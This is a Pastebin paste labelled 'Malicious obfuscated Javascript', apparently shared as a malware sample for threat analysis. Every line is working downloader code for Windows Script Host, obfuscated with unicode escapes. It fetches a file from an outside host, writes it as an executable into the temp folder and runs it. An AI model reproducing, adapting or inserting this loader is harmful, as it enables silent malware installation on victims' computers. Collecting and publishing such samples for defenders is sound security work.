SHARE
TWEET

Malicious obfuscated Javascript

dynamoo Feb 24th, 2016 266 Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
  1. var MdLBYYce= this['\u0041c\u0074\u0069v\u0065\u0058\u004F\u0062\u006A\u0065\u0063\u0074'];
  2. var hOySRNY = new MdLBYYce('\u0057\u0053\u0063\u0072\u0069\u0070\u0074\u002E\u0053\u0068el\u006C');
  3.     var htpXx = hOySRNY['E\u0078\u0070\u0061ndEn\u0076i\u0072\u006F\u006E\u006D\u0065n\u0074\u0053\u0074\u0072ings']('\u0025TE\u004D\u0050%') + '\u002F\u007A\u0074\u0056\u0073E\u0054bE\u0054\u002E\u0065x\u0065';
  4.     var JeChf = new MdLBYYce('M\u0053\u0058\u004D\u004C\u0032\u002E\u0058\u004D\u004C\u0048TT\u0050');
  5.     JeChf['\u006F\u006E\u0072e\u0061dy\u0073t\u0061\u0074\u0065c\u0068\u0061\u006Eg\u0065'] = function() {
  6.         if (JeChf['\u0072\u0065ad\u0079s\u0074\u0061te'] === 4) {
  7.             var AEMbnD = new MdLBYYce('\u0041\u0044\u004F\u0044B.Str\u0065a\u006D');
  8.             AEMbnD['\u006Fpe\u006E']();
  9.             AEMbnD['\u0074y\u0070e'] = 1;
  10.             AEMbnD['w\u0072i\u0074e'](JeChf['\u0052e\u0073p\u006F\u006E\u0073\u0065\u0042\u006F\u0064\u0079']);
  11.             AEMbnD['p\u006Fsi\u0074\u0069\u006Fn'] = 0;
  12.             AEMbnD['\u0073\u0061\u0076\u0065T\u006FF\u0069\u006C\u0065'](htpXx, 2);
  13.             AEMbnD['\u0063\u006Co\u0073e']();
  14.         };
  15.     };
  16.     try {
  17.     var    fYVUcRK = 'R\u0075n';
  18.         JeChf['\u006Fp\u0065n']('G\u0045T' , '\u0068\u0074t\u0070\u003A\u002F/k\u0061\u0072to\u006E\u0073\u0074\u0061ndam\u0062a\u006C\u0061\u006A\u002Ec\u006F\u006D\u002E\u0074r\u002F\u0073\u0079\u0073t\u0065\u006D/l\u006F\u0067s\u002F87\u0068\u0037\u0035\u0034', false);
  19.         JeChf['se\u006E\u0064']();
  20.         hOySRNY [fYVUcRK](htpXx, 1, false);      
  21.     } catch (ajg9ggxFs) {};
RAW Paste Data
Top